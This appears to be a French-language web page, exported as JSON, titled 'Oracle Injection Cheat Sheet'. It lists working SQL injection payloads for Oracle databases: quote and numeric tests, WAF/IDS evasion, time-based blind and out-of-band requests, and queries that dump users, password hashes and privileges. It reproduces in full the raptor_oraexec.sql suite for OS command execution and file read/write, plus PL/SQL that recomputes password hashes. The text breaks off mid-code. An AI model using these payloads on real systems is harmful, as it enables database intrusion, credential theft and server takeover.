{"id":612,"date":"2013-02-21T17:04:28","date_gmt":"2013-02-21T15:04:28","guid":{"rendered":"https:\/\/www.asafety.fr\/?page_id=612"},"modified":"2015-11-13T12:16:26","modified_gmt":"2015-11-13T10:16:26","slug":"oracle-injection-cheat-sheet","status":"publish","type":"page","link":"https:\/\/www.asafety.fr\/en\/oracle-injection-cheat-sheet\/","title":{"rendered":"Oracle Injection Cheat Sheet"},"content":{"rendered":"<p><\/p>\n<h2>Introduction<\/h2>\n<p>Ce document recense de mani\u00e8re synth\u00e9tique et la plus compl\u00e8te possible, l\u2019ensemble des vecteurs d\u2019attaque pour des injections SQL (SQLi &amp; BSQLi) ciblant les bases de donn\u00e9es Oracle.<\/p>\n<p>Toutes les syntaxes, requ\u00eates, codes sources, PoC et exemples ont \u00e9t\u00e9 test\u00e9s et valid\u00e9s pour la production de cette synth\u00e8se.<\/p>\n<h2>Bases de donn\u00e9es par d\u00e9faut<\/h2>\n<table>\n<tbody>\n<tr>\n<td>SYSTEM<\/td>\n<td>Disponible dans toutes les versions<\/td>\n<\/tr>\n<tr>\n<td>SYSAUX<\/td>\n<td>Disponible dans toutes les versions<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h2>Tester une injection<\/h2>\n<h3>Injection dans une cha\u00eene de caract\u00e8res<\/h3>\n<p><strong>Pour la requ\u00eate suivante :<\/strong><\/p>\n<p>[sql]SELECT * FROM dual WHERE DUMMY = &#8216;[INJ]&#8217;;[\/sql]<\/p>\n<table>\n<tbody>\n<tr>\n<td>&#8216;<\/td>\n<td>Simple quote x1<\/td>\n<td>False<\/td>\n<\/tr>\n<tr>\n<td>&#8216; &#8216;<\/td>\n<td>Simple quote x2<\/td>\n<td>True<\/td>\n<\/tr>\n<tr>\n<td>&#8220;<\/td>\n<td>Double quote x1<\/td>\n<td>False<\/td>\n<\/tr>\n<tr>\n<td>&#8220;&#8221;<\/td>\n<td>Double quote x2<\/td>\n<td>True<\/td>\n<\/tr>\n<tr>\n<td>\\<\/td>\n<td>Backslash x1<\/td>\n<td>False<\/td>\n<\/tr>\n<tr>\n<td>\\\\<\/td>\n<td>Backslash x2<\/td>\n<td>True<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p><strong>Exemples :<\/strong><\/p>\n<p>[sql]SELECT * FROM dual WHERE DUMMY = &#8216;xxx&#8221;&#8217;;<br \/>\nSELECT * FROM dual WHERE data = &#8216;1&#8221;&#8221;&#8221;&#8221;&#8221;&#8217;UNION SELECT &#8216;Y&#8217; FROM dual;[\/sql]<\/p>\n<p><strong>Remarques :<\/strong><\/p>\n<ul>\n<li>Il est possible d&#8217;utiliser autant d&#8217;apostrophe (<em>quote<\/em>) et de\u00a0guillemet (<em>double-quote<\/em>)\u00a0tant qu&#8217;ils vont par paire.<\/li>\n<li>Il est possible de continuer la requ\u00eate \u00e0 la suite d&#8217;une cha\u00eene de quote.<\/li>\n<li>Une quote \u00e9chappe une seconde quote, d&#8217;o\u00f9 le cha\u00eenage par paire.<\/li>\n<li>La condition &#8221;=&#8221; retourne faux.<\/li>\n<\/ul>\n<h3>Injection par valeurs num\u00e9riques<\/h3>\n<p><strong>Pour la requ\u00eate suivante :<\/strong><\/p>\n<p>[sql]SELECT * FROM Table WHERE data = [INJ];[\/sql]<\/p>\n<table>\n<tbody>\n<tr>\n<td>AND 1=1<\/td>\n<td>True<\/td>\n<\/tr>\n<tr>\n<td>AND 0=1<\/td>\n<td>False<\/td>\n<\/tr>\n<tr>\n<td>1*1337<\/td>\n<td>Retourne 1337 si vuln\u00e9rable<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p><strong>Format num\u00e9riques valides :<\/strong><\/p>\n<p>Chacune de ces techniques peut servir d&#8217;\u00e9vasion d&#8217;expressions r\u00e9guli\u00e8res d&#8217;IDS\/WAF.<\/p>\n<table>\n<tbody>\n<tr>\n<td><code>digits<\/code><\/td>\n<td>1337<\/td>\n<\/tr>\n<tr>\n<td><code>digits[.]<\/code><\/td>\n<td>1337.<\/td>\n<\/tr>\n<tr>\n<td><code>digits[.]digits<\/code><\/td>\n<td>13.37<\/td>\n<\/tr>\n<tr>\n<td><code>digits[eE]digits<\/code><\/td>\n<td>13e37, 13E37<\/td>\n<\/tr>\n<tr>\n<td><code>digits[eE][+-]digits<\/code><\/td>\n<td>13e-37, 13E+37<\/td>\n<\/tr>\n<tr>\n<td><code>digits[.][eE]digits<\/code><\/td>\n<td>13.e37<\/td>\n<\/tr>\n<tr>\n<td><code>digits[.]digits[eE]digits<\/code><\/td>\n<td>13.3E7<\/td>\n<\/tr>\n<tr>\n<td><code>digits[.]digits[eE][+-]digits<\/code><\/td>\n<td>13.3e-7<\/td>\n<\/tr>\n<tr>\n<td><code>[.]digits<\/code><\/td>\n<td>.1337<\/td>\n<\/tr>\n<tr>\n<td><code>[.]digits[eE]digits<\/code><\/td>\n<td>.13e37<\/td>\n<\/tr>\n<tr>\n<td><code>[.]digits[eE][+-]digits<\/code><\/td>\n<td>.13E-37<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p><strong>Constantes num\u00e9riques sans nombres<\/strong><\/p>\n<p>Oracle fourni quelques constantes\u00a0litt\u00e9rales, qui sont interpr\u00e9t\u00e9es comme des donn\u00e9es num\u00e9riques. De telle constante permettent de bypasser des r\u00e8gles au niveau des WAF\/IDS.<\/p>\n<ul>\n<li>binary_double_infinity : type BINARY_DOUBLE pour l&#8217;infini positif<\/li>\n<li>binary_double_nan : type BINARY_DOUBLE pour &#8220;not a number&#8221;<\/li>\n<li>binary_float_infinity : type BINARY_FLOAT pour l&#8217;infini positif<\/li>\n<li>binary_float_nan : type BINARY_FLOAT pour &#8220;not a number&#8221;<\/li>\n<\/ul>\n<p>Ces constantes, insensibles \u00e0 la casse, peuvent \u00eatre utilis\u00e9es au travers de comparaisons num\u00e9riques :<\/p>\n<p>[sql]select * from dual where 1 &amp;lt; binary_double_infinity;[\/sql]<\/p>\n<h2>Commenter la fin d&#8217;une requ\u00eate<\/h2>\n<p>Les syntaxes suivantes peuvent \u00eatre utilis\u00e9es pour commenter (d\u00e9sactiver) la fin d&#8217;une requ\u00eate \u00e0 la suite d&#8217;une injection :<\/p>\n<table>\n<tbody>\n<tr>\n<td>&#8212;<\/td>\n<td>SQL commentaire<\/td>\n<\/tr>\n<tr>\n<td>\/*<\/td>\n<td>C-Style commentaire<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p><strong>Exemples :<\/strong><\/p>\n<p>[sql]<br \/>\nSELECT * FROM Table WHERE field1 = &#8221; OR 1=1 &#8211;&#8216; AND field2 = &#8221;;<br \/>\n[\/sql]<\/p>\n<h2>Test de version Oracle<\/h2>\n<p>[sql]<br \/>\nSELECT banner FROM v$version WHERE banner LIKE &#8216;Oracle%&#8217;;<br \/>\nSELECT banner FROM v$version WHERE banner LIKE &#8216;TNS%&#8217;;<br \/>\nSELECT version FROM v$instance; &#8212; need privileges<br \/>\n[\/sql]<\/p>\n<p><strong>R\u00e9sultats :<\/strong><\/p>\n<blockquote><p>BANNER<br \/>\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br \/>\nOracle Database 11g Enterprise Edition Release 11.2.0.1.0 &#8211; 64bit Production<\/p>\n<p>BANNER<br \/>\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br \/>\nTNS for Linux: Version 11.2.0.1.0 &#8211; Production<\/p>\n<p>VERSION<br \/>\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br \/>\n11.2.0.1.0<\/p><\/blockquote>\n<p><strong>Remarques :<\/strong><\/p>\n<ul>\n<li>Toutes les requ\u00eates SELECT destin\u00e9es \u00e0 une base Oracle doivent indiquer une table.<\/li>\n<li>La table &#8220;dual&#8221; est une table de test disponible par d\u00e9faut.<\/li>\n<\/ul>\n<h2>Cr\u00e9dentiels de la base de donn\u00e9es<\/h2>\n<h3>Utilisateur courant<\/h3>\n<p>[sql]SELECT user FROM dual[\/sql]<\/p>\n<h3>Utilisateurs dans toutes les versions<\/h3>\n<p>[sql]SELECT username FROM all_users;[\/sql]<\/p>\n<h3>Utilisateurs et mots de passe jusqu&#8217;\u00e0 la 10g (avec privil\u00e8ges)<\/h3>\n<p>[sql]SELECT name, password from sys.user$;[\/sql]<\/p>\n<p><strong>R\u00e9sultats :<\/strong><\/p>\n<blockquote><p>SYS \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a02BD0DC4DFC29152C<\/p><\/blockquote>\n<h3>Utilisateurs et mots de passe jusqu&#8217;\u00e0 la 11g\u00a0(avec privil\u00e8ges)<\/h3>\n<p>[sql]SELECT name, spare4 from sys.user$;[\/sql]<\/p>\n<p><strong>R\u00e9sultats :<\/strong><\/p>\n<blockquote><p>SYS \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0S:5AB924E4B04366655D4CB8447B092628D6E865BE04523AC4485BAAB64D38<\/p><\/blockquote>\n<h2>Noms des bases de donn\u00e9es<\/h2>\n<h3>Base de donn\u00e9es courante<\/h3>\n<p>[sql]<br \/>\nSELECT name FROM v$database;<br \/>\nSELECT instance_name FROM v$instance;<br \/>\nSELECT global_name FROM global_name;<br \/>\nSELECT SYS.DATABASE_NAME FROM DUAL;<br \/>\n[\/sql]<\/p>\n<h3>Bases de donn\u00e9es de l&#8217;utilisateur<\/h3>\n<p>[sql]<br \/>\nSELECT DISTINCT owner FROM all_tables;<br \/>\n[\/sql]<\/p>\n<h2>Nom d&#8217;h\u00f4te du serveur<\/h2>\n<p>[sql]<br \/>\nSELECT host_name FROM v$instance; &#8212; (Privileged)<br \/>\nSELECT UTL_INADDR.get_host_name FROM dual;<br \/>\nSELECT UTL_INADDR.get_host_name(&#8216;[IP_DU_SERVEUR]&#8217;) FROM dual;<br \/>\nSELECT UTL_INADDR.get_host_address FROM dual;<br \/>\n[\/sql]<\/p>\n<h2>Tables et colonnes<\/h2>\n<h3>R\u00e9cup\u00e9rer le nom des tables<\/h3>\n<p>[sql]SELECT table_name FROM all_tables;[\/sql]<\/p>\n<h3>R\u00e9cup\u00e9rer le nom des colonnes<\/h3>\n<p>[sql]SELECT column_name FROM all_tab_columns;[\/sql]<\/p>\n<h3>Trouver les tables \u00e0 partir d&#8217;un nom de colonne<\/h3>\n<p>[sql]SELECT column_name FROM all_tab_columns WHERE table_name = &#8216;Users&#8217;;[\/sql]<\/p>\n<h3>Trouver les colonnes \u00e0 partir d&#8217;un nom de table<\/h3>\n<p>[sql]SELECT table_name FROM all_tab_columns WHERE column_name = &#8216;password&#8217;;[\/sql]<\/p>\n<h3>R\u00e9cup\u00e9rer plusieurs noms de tables en une fois<\/h3>\n<p>[sql]SELECT RTRIM(XMLAGG(XMLELEMENT(e, table_name || &#8216;,&#8217;)).EXTRACT(&#8216;\/\/text()&#8217;).EXTRACT(&#8216;\/\/text()&#8217;) ,&#8217;,&#8217;) FROM all_tables;[\/sql]<\/p>\n<p><strong>Remarques :<\/strong><\/p>\n<ul>\n<li>Le tampon de r\u00e9cup\u00e9ration des noms des tables peut s&#8217;av\u00e9rer trop petit et donc causer une erreur. Ne pas h\u00e9siter \u00e0 r\u00e9duire la quantit\u00e9 d&#8217;information retourn\u00e9e en appliquant un &#8220;WHERE table_name LIKE &#8216;A%'&#8221; pour n&#8217;obtenir que les tables dont le nom commence par &#8220;A&#8221;.<\/li>\n<\/ul>\n<h2>\u00c9viter l&#8217;utilisation des quotes<\/h2>\n<h3>Encodage en hexad\u00e9cimal<\/h3>\n<p>Oracle DB ne permet pas l&#8217;utilisation des cha\u00eenes en hexad\u00e9cimal via le pr\u00e9fixe 0x ou x&#8221; ; ni en binaire 0b, b&#8221;. Il est possible d&#8217;effectuer un select sur une valeur hexad\u00e9cimale, toutefois celle-ci n&#8217;est pas interpr\u00e9t\u00e9e ; Oracle cherche une colonne du nom hexad\u00e9cimal sans le convertir.<\/p>\n<p>[sql]SELECT 0x44554d4d59 FROM dual; &#8212; work but return nothing[\/sql]<\/p>\n<h3>Fonction CHR()<\/h3>\n<p>[sql]SELECT CHR(88)||CHR(88)||CHR(88) FROM dual;[\/sql]<\/p>\n<h2>Concat\u00e9nation de cha\u00eene de caract\u00e8res<\/h2>\n<p>[sql]SELECT &#8216;a&#8217;||&#8217;d&#8217;||&#8217;mi&#8217;||&#8217;n&#8217; FROM dual;[\/sql]<\/p>\n<h2>Les requ\u00eates conditionnelles<\/h2>\n<h3>Syntaxe du CASE dans un SELECT<\/h3>\n<p>[sql]SELECT CASE WHEN 1=1 THEN &#8216;true&#8217; ELSE &#8216;false&#8217; END FROM dual[\/sql]<\/p>\n<h3>Syntaxe du IF dans un bloc<\/h3>\n<p>[sql]BEGIN IF 1=1 THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END;[\/sql]<\/p>\n<p><strong>Remarques :<\/strong><\/p>\n<ul>\n<li>La requ\u00eate pr\u00e9c\u00e9dente fait un\u00a0<em>timeout<\/em>\u00a0de 3 secondes dans le cas o\u00f9 la condition est vraie.<\/li>\n<li>Cette syntaxe n&#8217;est pas fonctionnelle au sein d&#8217;une requ\u00eate SELECT.<\/li>\n<\/ul>\n<h2>Gestion du temps<\/h2>\n<h3>Via un proc\u00e9dure d\u00e9di\u00e9e<\/h3>\n<p>[sql]dbms_lock.sleep(N)[\/sql]<\/p>\n<p><strong>Remarques :<\/strong><\/p>\n<ul>\n<li>La valeur de N est exprim\u00e9e en secondes<\/li>\n<li>Cette syntaxe n\u00e9cessite des droits additionnels (d&#8217;\u00e9xecution de proc\u00e9dure).<\/li>\n<\/ul>\n<h3>Via un timeout r\u00e9seau<\/h3>\n<p>[sql]SELECT UTL_INADDR.get_host_address(&#8216;non-existant-domain.com&#8217;) FROM dual;<br \/>\nSELECT UTL_INADDR.get_host_name(&#8216;10.0.0.1&#8217;) FROM dual;<br \/>\nSELECT UTL_HTTP.REQUEST(&#8216;http:\/\/site.com&#8217;) FROM dual;[\/sql]<\/p>\n<h3>Via une lourde\u00a0consommation\u00a0de ressources par alias<\/h3>\n<p>[sql]AND (SELECT COUNT(*) FROM all_users t1, all_users t2, all_users t3, all_users t4, all_users t5) &amp;gt; 0 AND 300 &amp;gt; ASCII(SUBSTR((SELECT username FROM all_users WHERE rownum = 1),1,1));[\/sql]<\/p>\n<h2>Privil\u00e8ges et droits<\/h2>\n<p>Privil\u00e8ges de l&#8217;utilisateur courant :<\/p>\n<p>[sql]<br \/>\nSELECT privilege FROM session_privs;<br \/>\n[\/sql]<\/p>\n<p>Privil\u00e8ges d&#8217;un utilisateur particulier (n\u00e9cessite des droits) :<\/p>\n<p>[sql]SELECT * FROM dba_sys_privs WHERE grantee = &#8216;user&#8217;;[\/sql]<\/p>\n<p>Liste tous les utilisateurs et leurs droits :<\/p>\n<p>[sql]<br \/>\nSELECT grantee, granted_role FROM dba_role_privs; &#8212; (Privileged)<br \/>\n[\/sql]<\/p>\n<h2>Lecture, \u00e9criture \u00a0et commande ex\u00e9cution\u00a0sur le serveur<\/h2>\n<p>Les fichiers locaux du syst\u00e8me peuvent \u00eatre lus au travers de l&#8217;ex\u00e9cution de commande lorsque Java est install\u00e9 et pr\u00e9sent sur le serveur Oracle DB, tout comme l&#8217;\u00e9criture de fichiers.<\/p>\n<p>La m\u00e9thode consiste \u00e0 g\u00e9n\u00e9rer une proc\u00e9dure qui exploite du code Java pour acc\u00e9der au syst\u00e8me de fichier et directement \u00e0 un shell.<\/p>\n<p>Cette technique a \u00e9t\u00e9 diffus\u00e9e par\u00a0<a title=\"raptor_oraexec\" href=\"http:\/\/www.0xdeadbeef.info\/exploits\/raptor_oraexec.sql\" target=\"_blank\">Raptor sur 0xdeadbeef.info<\/a>. Test\u00e9e sur la derni\u00e8re version en date 11gR2.<\/p>\n<p>[sql]<br \/>\n&#8212;<br \/>\n&#8212; $Id: raptor_oraexec.sql,v 1.2 2006\/11\/23 23:40:16 raptor Exp $<br \/>\n&#8212;<br \/>\n&#8212; raptor_oraexec.sql &#8211; java exploitation suite for oracle<br \/>\n&#8212; Copyright (c) 2006 Marco Ivaldi &amp;lt;raptor@0xdeadbeef.info&amp;gt;<br \/>\n&#8212;<br \/>\n&#8212; This is an exploitation suite for Oracle written in Java. Use it to<br \/>\n&#8212; read\/write files and execute OS commands with the privileges of the<br \/>\n&#8212; RDBMS, if you have the required permissions (DBA role and SYS:java).<br \/>\n&#8212;<br \/>\n&#8212; &amp;quot;The Oracle RDBMS could almost be considered as a shell like bash or the<br \/>\n&#8212; Windows Command Prompt; it&#8217;s not only capable of storing data but can also<br \/>\n&#8212; be used to completely access the file system and run operating system<br \/>\n&#8212; commands&amp;quot; &#8212; David Litchfield (http:\/\/www.databasesecurity.com\/)<br \/>\n&#8212;<br \/>\n&#8212; Usage example:<br \/>\n&#8212; $ sqlplus &amp;quot;\/ as sysdba&amp;quot;<br \/>\n&#8212; [&#8230;]<br \/>\n&#8212; SQL&amp;gt; @raptor_oraexec.sql<br \/>\n&#8212; [&#8230;]<br \/>\n&#8212; SQL&amp;gt; exec javawritefile(&#8216;\/tmp\/mytest&#8217;, &#8216;\/bin\/ls -l &amp;gt; \/tmp\/aaa&#8217;);<br \/>\n&#8212; SQL&amp;gt; exec javawritefile(&#8216;\/tmp\/mytest&#8217;, &#8216;\/bin\/ls -l \/ &amp;gt; \/tmp\/bbb&#8217;);<br \/>\n&#8212; SQL&amp;gt; exec dbms_java.set_output(2000);<br \/>\n&#8212; SQL&amp;gt; set serveroutput on;<br \/>\n&#8212; SQL&amp;gt; exec javareadfile(&#8216;\/tmp\/mytest&#8217;);<br \/>\n&#8212; \/bin\/ls -l &amp;gt; \/tmp\/aaa<br \/>\n&#8212; \/bin\/ls -l \/ &amp;gt;\/tmp\/bbb<br \/>\n&#8212; SQL&amp;gt; exec javacmd(&#8216;\/bin\/sh \/tmp\/mytest&#8217;);<br \/>\n&#8212; SQL&amp;gt; !sh<br \/>\n&#8212; $ ls -rtl \/tmp\/<br \/>\n&#8212; [&#8230;]<br \/>\n&#8212; -rw-r&#8211;r&#8211;   1 oracle   system        45 Nov 22 12:20 mytest<br \/>\n&#8212; -rw-r&#8211;r&#8211;   1 oracle   system      1645 Nov 22 12:20 aaa<br \/>\n&#8212; -rw-r&#8211;r&#8211;   1 oracle   system      8267 Nov 22 12:20 bbb<br \/>\n&#8212; [&#8230;]<br \/>\n&#8212;<\/p>\n<p>create or replace and resolve java source named &amp;quot;oraexec&amp;quot; as<br \/>\nimport java.lang.*;<br \/>\nimport java.io.*;<br \/>\npublic class oraexec<br \/>\n{<br \/>\n\t\/*<br \/>\n\t * Command execution module<br \/>\n\t *\/<br \/>\n\tpublic static void execCommand(String command) throws IOException<br \/>\n\t{<br \/>\n\t\tRuntime.getRuntime().exec(command);<br \/>\n\t}<\/p>\n<p>\t\/*<br \/>\n\t * File reading module<br \/>\n\t *\/<br \/>\n\tpublic static void readFile(String filename) throws IOException<br \/>\n\t{<br \/>\n\t\tFileReader f = new FileReader(filename);<br \/>\n\t\tBufferedReader fr = new BufferedReader(f);<br \/>\n\t\tString text = fr.readLine();<br \/>\n\t\twhile (text != null) {<br \/>\n\t\t\tSystem.out.println(text);<br \/>\n\t\t\ttext = fr.readLine();<br \/>\n\t\t}<br \/>\n\t\tfr.close();<br \/>\n\t}<\/p>\n<p>\t\/*<br \/>\n\t * File writing module<br \/>\n\t *\/<br \/>\n\tpublic static void writeFile(String filename, String line) throws IOException<br \/>\n\t{<br \/>\n\t\tFileWriter f = new FileWriter(filename, true); \/* append *\/<br \/>\n\t\tBufferedWriter fw = new BufferedWriter(f);<br \/>\n\t\tfw.write(line);<br \/>\n\t\tfw.write(&amp;quot;\\n&amp;quot;);<br \/>\n\t\tfw.close();<br \/>\n\t}<br \/>\n}<br \/>\n\/<\/p>\n<p>&#8212; usage: exec javacmd(&#8216;command&#8217;);<br \/>\ncreate or replace procedure javacmd(p_command varchar2) as<br \/>\nlanguage java<br \/>\nname &#8216;oraexec.execCommand(java.lang.String)&#8217;;<br \/>\n\/<\/p>\n<p>&#8212; usage: exec dbms_java.set_output(2000);<br \/>\n&#8212;        set serveroutput on;<br \/>\n&#8212;        exec javareadfile(&#8216;\/path\/to\/file&#8217;);<br \/>\ncreate or replace procedure javareadfile(p_filename in varchar2) as<br \/>\nlanguage java<br \/>\nname &#8216;oraexec.readFile(java.lang.String)&#8217;;<br \/>\n\/<\/p>\n<p>&#8212; usage: exec javawritefile(&#8216;\/path\/to\/file&#8217;, &#8216;line to append&#8217;);<br \/>\ncreate or replace procedure javawritefile(p_filename in varchar2, p_line in varchar2) as<br \/>\nlanguage java<br \/>\nname &#8216;oraexec.writeFile(java.lang.String, java.lang.String)&#8217;;<br \/>\n\/<br \/>\n[\/sql]<\/p>\n<p>Raptor fourni \u00e9galement une seconde proc\u00e9dure d&#8217;ex\u00e9cution de code,\u00a0<a title=\"raptor_oraextproc\" href=\"http:\/\/www.0xdeadbeef.info\/exploits\/raptor_oraextproc.sql\" target=\"_blank\">raptor_oraextproc.sql<\/a>.<\/p>\n<p><strong>Remarques :<\/strong><\/p>\n<ul>\n<li>Les chemins d&#8217;acc\u00e8s absolus aux fichiers de bases de donn\u00e9es Oracle sont disponibles via la requ\u00eate :<\/li>\n<\/ul>\n<p>[sql]SELECT name FROM V$DATAFILE;[\/sql]<\/p>\n<h2>Requ\u00eates distantes<\/h2>\n<h3>Requ\u00eates DNS externes<\/h3>\n<p>[sql]SELECT UTL_HTTP.REQUEST(&#8216;http:\/\/localhost&#8217;) FROM dual;<br \/>\nSELECT UTL_INADDR.get_host_address(&#8216;localhost.com&#8217;) FROM dual;<br \/>\n[\/sql]<\/p>\n<h2>Mots de passe<\/h2>\n<h3>Hachage<\/h3>\n<h4>Oracle DB 7 \u00e0 10gR2<\/h4>\n<p>Les mots de passe de Oracle DB peuvent aller jusqu&#8217;\u00e0 30 caract\u00e8res de long. Ils sont mis en majuscule avant toutes op\u00e9rations de chiffrement.\u00a0Les versions chiffr\u00e9es font 8 octets. Ils se fondent sur l&#8217;algorithme DES avec le nom d&#8217;utilisateur comme salt (username||password). Les versions sup\u00e9rieures \u00e0 la 10gR2 impl\u00e9mentent toujours cet algorithme.<\/p>\n<p>Le bloc anonyme suivant utilise les proc\u00e9dures et fonctions natives d&#8217;Oracle DB pour\u00a0r\u00e9g\u00e9n\u00e9rer\u00a0ce mot de passe chiffr\u00e9 :<\/p>\n<p>[sql]<\/p>\n<p>DECLARE<br \/>\n username varchar2(30) := &#8216;myLogin&#8217;;<br \/>\n pass varchar2(30) := &#8216;myPassword&#8217;;<br \/>\n userpwd raw(128);<br \/>\n enc_raw raw(2048);<br \/>\n raw_key2 raw(128);<br \/>\n pwd_hash raw(2048);<br \/>\n hexstr varchar2(2048);<br \/>\n len number;<br \/>\n password_hash varchar2(16);<br \/>\n raw_key raw(128):= hextoraw(&#8216;0123456789ABCDEF&#8217;);<\/p>\n<p>procedure unicode_str(userpwd in varchar2, unistr out raw)<br \/>\n is<br \/>\n enc_str varchar2(124):=&#8221;;<br \/>\n tot_len number;<br \/>\n curr_char char(1);<br \/>\n padd_len number;<br \/>\n ch char(1);<br \/>\n mod_len number;<br \/>\n begin<br \/>\n tot_len:=length(userpwd);<br \/>\n for i in 1..tot_len loop<br \/>\n curr_char:=substr(userpwd,i,1);<br \/>\n enc_str:=enc_str||chr(0)||curr_char;<br \/>\n end loop;<br \/>\n &#8212; padd to 8 byte boundaries<br \/>\n mod_len:= mod((tot_len*2),8);<br \/>\n if (mod_len = 0) then<br \/>\n padd_len:= 0;<br \/>\n else<br \/>\n padd_len:=8 &#8211; mod_len;<br \/>\n end if;<br \/>\n for i in 1..padd_len loop<br \/>\n enc_str:=enc_str||chr(0);<br \/>\n end loop;<br \/>\n unistr:=utl_raw.cast_to_raw(enc_str);<br \/>\n end;<\/p>\n<p>BEGIN<br \/>\n unicode_str(UPPER(username||pass), userpwd);<br \/>\n dbms_obfuscation_toolkit.DESEncrypt(input =&amp;gt; userpwd,<br \/>\n key =&amp;gt; raw_key, encrypted_data =&amp;gt; enc_raw );<br \/>\n hexstr:=rawtohex(enc_raw);<br \/>\n len:=length(hexstr);<br \/>\n raw_key2:=hextoraw(substr(hexstr,(len-16+1),16));<br \/>\n dbms_obfuscation_toolkit.DESEncrypt(input =&amp;gt; userpwd,<br \/>\n key =&amp;gt; raw_key2, encrypted_data =&amp;gt; pwd_hash );<br \/>\n hexstr:=hextoraw(pwd_hash);<br \/>\n len:=length(hexstr);<br \/>\n password_hash:=substr(hexstr,(len-16+1),16);<br \/>\n dbms_output.put_line(&#8216;Login : &#8216;||username);<br \/>\n dbms_output.put_line(&#8216;Password : &#8216;||pass);<br \/>\n dbms_output.put_line(&#8216;Oracle &amp;lt; 11g password generated : &#8216;||password_hash);<br \/>\nEND;<\/p>\n<p>[\/sql]<\/p>\n<p><strong>R\u00e9sultats :<\/strong><\/p>\n<blockquote><p>Login : myLogin<br \/>\nPassword : myPassword<br \/>\nOracle &lt; 11g password generated : 40CDF99E125555A7<\/p><\/blockquote>\n<p><strong>Analyse de l&#8217;algorithme :<\/strong><\/p>\n<ul>\n<li>Le login est concat\u00e9n\u00e9 au mot de passe en clair puis l&#8217;ensemble est mis en majuscule.<\/li>\n<li>Une cl\u00e9 DES-CBC fixe (0123456789ABCDEF) est utilis\u00e9e pour chiffrer une premi\u00e8re fois l&#8217;ensemble.<\/li>\n<li>Suite \u00e0 ce premier chiffrement, une seconde application du DES est r\u00e9alis\u00e9e avec comme cl\u00e9 les 8 derniers octets du premier chiffrement.<\/li>\n<li>La version chiffr\u00e9e r\u00e9sultante est celle exploit\u00e9e par Oracle DB.<\/li>\n<\/ul>\n<h4>Oracle DB 11g et sup\u00e9rieures<\/h4>\n<p>A partir de la version 11g, les mots de passes peuvent \u00eatre sup\u00e9rieurs \u00e0 30 caract\u00e8res, avec une casse quelconque. Le mot de passe est toujours chiffr\u00e9 avec du DES (colonne &#8220;password&#8221;) mais aussi hach\u00e9 avec SHA1 (colonne &#8220;spare4&#8221;). Le SHA1 est appliqu\u00e9 sur la concat\u00e9nation du password et d&#8217;un salt.<\/p>\n<p>Les versions 11g et sup\u00e9rieures conservent une r\u00e9tro-compatibilit\u00e9s quant au stockage du mot de passe. Ainsi, la colonne &#8220;password&#8221; correspond au mot de passe chiffr\u00e9 avec l&#8217;ancien algorithme, moins s\u00e9curis\u00e9 que la colonne &#8220;spare4&#8221;. Cet ancien algorithme s&#8217;applique sur une version majuscule du mot de passe, r\u00e9duisant consid\u00e9rablement la s\u00e9curit\u00e9. La version &#8220;spare4&#8221; quant \u00e0 elle, conserve la casse du mot de passe, mais peut \u00eatre ais\u00e9ment d\u00e9jou\u00e9e avec la colonne &#8220;password&#8221;.<\/p>\n<p><strong>Analyse de l&#8217;algorithme de mot de passe 11g et sup\u00e9rieures<\/strong><\/p>\n<p>Pour un utilisateur donn\u00e9 avec le mot de passe &#8220;password&#8221;, un hash &#8220;spare4&#8221; est stock\u00e9 dans la base, du type :<\/p>\n<p>[bash]S:F7810C319CF8BD2EF575E0C3B05F6C3110FABF9774D69BAFF4AF846FC6C4[\/bash]<\/p>\n<p>Les hashs spare4 de Oracle 11g et sup\u00e9rieures sont tous pr\u00e9fix\u00e9s de &#8220;S:&#8221;. L&#8217;algorithme de hachage est le SHA1 avec un salt al\u00e9atoire de 10 octets concat\u00e9n\u00e9 \u00e0 la fin du hash. Ainsi on a :<\/p>\n<ul>\n<li>Hash complet : &#8220;S:F7810C319CF8BD2EF575E0C3B05F6C3110FABF9774D69BAFF4AF846FC6C4&#8221;<\/li>\n<li>Pr\u00e9fixe : &#8220;S:&#8221;<\/li>\n<li>Salt de 10 octets : &#8220;74D69BAFF4AF846FC6C4&#8221;<\/li>\n<li>Hash SHA1 du mot de passe + salt : &#8220;F7810C319CF8BD2EF575E0C3B05F6C3110FABF97&#8221;<\/li>\n<\/ul>\n<p>En reproduisant les traitements de l&#8217;algorithme, pour le mot de passe &#8220;password&#8221;, on revient bien \u00e0 notre hash stock\u00e9 dans la base Oracle :<\/p>\n<p>[sql]SELECT CONCAT(&#8216;S:&#8217;, UPPER(SHA1(CONCAT(&#8216;password&#8217;, UNHEX(&#8217;74D69BAFF4AF846FC6C4&#8242;)))), &#8217;74D69BAFF4AF846FC6C4&#8242;); &#8212; syntaxe MySQL[\/sql]<\/p>\n<p>&nbsp;<\/p>\n<p>[sql]<br \/>\n&#8212; Oracle 11g anonymous bloc<br \/>\nset serveroutput on;<br \/>\ndeclare<br \/>\n p_string varchar2(2000) := &#8216;password&#8217;;<br \/>\n p_salt raw(10) := hextoraw(&#8217;74D69BAFF4AF846FC6C4&#8242;);<br \/>\n lv_hash_value_sh1 raw (100);<br \/>\n lv_varchar_key_sh1 varchar2 (40);<br \/>\nbegin<br \/>\n lv_hash_value_sh1 :=<br \/>\n dbms_crypto.hash (src =&amp;gt; utl_raw.cast_to_raw (p_string)||p_salt,<br \/>\n typ =&amp;gt; dbms_crypto.hash_sh1);<br \/>\n SELECT lower (to_char (rawtohex 